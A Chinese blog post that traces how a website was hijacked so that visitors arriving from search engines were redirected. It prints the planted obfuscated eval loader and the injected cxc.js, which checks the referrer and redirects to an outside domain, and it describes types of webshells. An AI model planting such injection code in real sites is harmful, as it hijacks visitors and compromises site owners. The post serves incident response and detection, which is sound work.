記一次站點被掛馬問題排查

起因，在下班準備回家之際，收到幾條朋友發來的信息，說他的網站在百度搜索做信息流廣告推廣，但是從百度搜索點擊打開就會跳轉的×××，讓我幫忙排查下問題，是不是被掛馬了，于是乎就開始了后面的故事

為了保護網站隱私，假定網站地址是：http://www.xxx.com

收到消息后我嘗試操作并收集到下面現象內容：

現象1：通過域名直接打開網站，可以正常打開，不會跳轉到×××站
現象2：通過百度/搜狗搜索引擎，搜索到網站后點擊打開就會跳轉到×××站

開始排查

• 網站是怎么跳轉的？

網站跳轉無非就是這兩種：服務端重定向跳轉/前端JS觸發跳轉，我開始用Charles抓包，列出抓包請求發起順序大概是這樣的（省略無關的請求）：

1. http://www.xxx.com
2. https://www.cpdas8.com/cxc.js
3. https://www.das8cx.com/ [×××站]

先打開站點www.xxx.com返回Code=200，不是服務端重定向Code=302，是由前端發起跳轉，并且注意到：cxc.js，請求頭Referer=www.xxx.com，這個并非站點前端開發需要引入的腳本，打開地址看代碼如下：

(function () {
    /*百度推送代碼*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代碼*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");

看代碼就知道抓到了元兇，這里執行了location.href到×××站，但是看主頁html源碼里并沒有cxc.js的引入，繼續后面的排查

• cxc.js是如何在主頁里引入的？

帶著這個疑問，打開了首頁源碼，大概過了下，沒有發現引入腳本的地方，就開始懷疑是不是動態引入的，再次查看源碼，看到一段被混淆加密壓縮過代碼：

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\'\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\');',28,28,'x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38'.split('|'),0,{}))

感覺事蹊蹺，不管三七二十一先到谷歌開發者工具控制臺里執行看看，截取重要提示信息：

A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write

明了了，就是這段腳本把cxc.js動態的引入到站點里，現在跳轉的原因是找到了，但是為啥會好端端的多了這段代碼，繼續后面的分析

• 為什么主頁源碼會被篡改加入了一段腳本呢？

站點是通過阿里云服務器的虛擬空間進行部署的，服務器本身應該沒有問題
目前猜測有兩種可能性：

1. FTP暴力破解，成功連接上FTP后進行篡改
2. 站點安全漏洞，被上傳了***程序后被執行，篡改了源碼

后面問了下FTP密碼是設置的挺簡單的，所以評估可能是FTP暴力破解導致，細思極恐

番外，里面還有段篡改SEO關鍵詞代碼，這里也需要去掉：
篡改了keyword/description/title

問題總結：

通過抓包和代碼分析可以知道跳轉到×××站的流程是這樣的：

1. 打開首頁，腳本執行了evel(混淆加密壓縮)，動態引入cxc.js
2. 引入的cxc.js里執行了(function (){/ 跳轉邏輯 /})()，如果站點referrer是搜索引擎過來的就跳轉到×××站，不是就不做跳轉直接正常打開站點
3. 知道原理后就很清晰明白上面現象的原因，并且可以很清楚的怎么去修復

站點源碼被侵入篡改問題：

• 站點的開發需要注意WEB安全問題，文件上傳漏洞，腳本注入，SQL注入，跨站***，等
• 站點的服務器/FTP/后臺賬號密碼，不要設置的太隨意，要有一定的復雜度，不然很容易被暴力破解

常見***類型：

• 大馬
  • 大馬體積比較大 一般50K以上。功能也多，一般都包括提權命令，磁盤管理，數據庫連接借口，執行命令甚至有些以具備自帶提權功能和壓縮，解壓縮網站程序的功能。這種馬隱蔽性不好，而大多代碼如不加密的話很多殺毒廠商開始追殺此類程序
• 小馬
  • 小馬體積小，容易隱藏，隱蔽性強，最重要在于與圖片結合一起上傳之后可以利用nginx或者IIS6的解析漏洞來運行，不過功能少，一般只有上傳等功能
• 一句話***
  • 一句話屬于 就一句話的腳本語句 代碼少 就是一句話屬于小馬

查殺工具：

• 護衛神·云查殺
• D盾

輔助手段-網站安全檢測：

• 華為漏洞掃描服務
• 360網站安全
• 百度網站體檢
• 百度云觀測

首發博客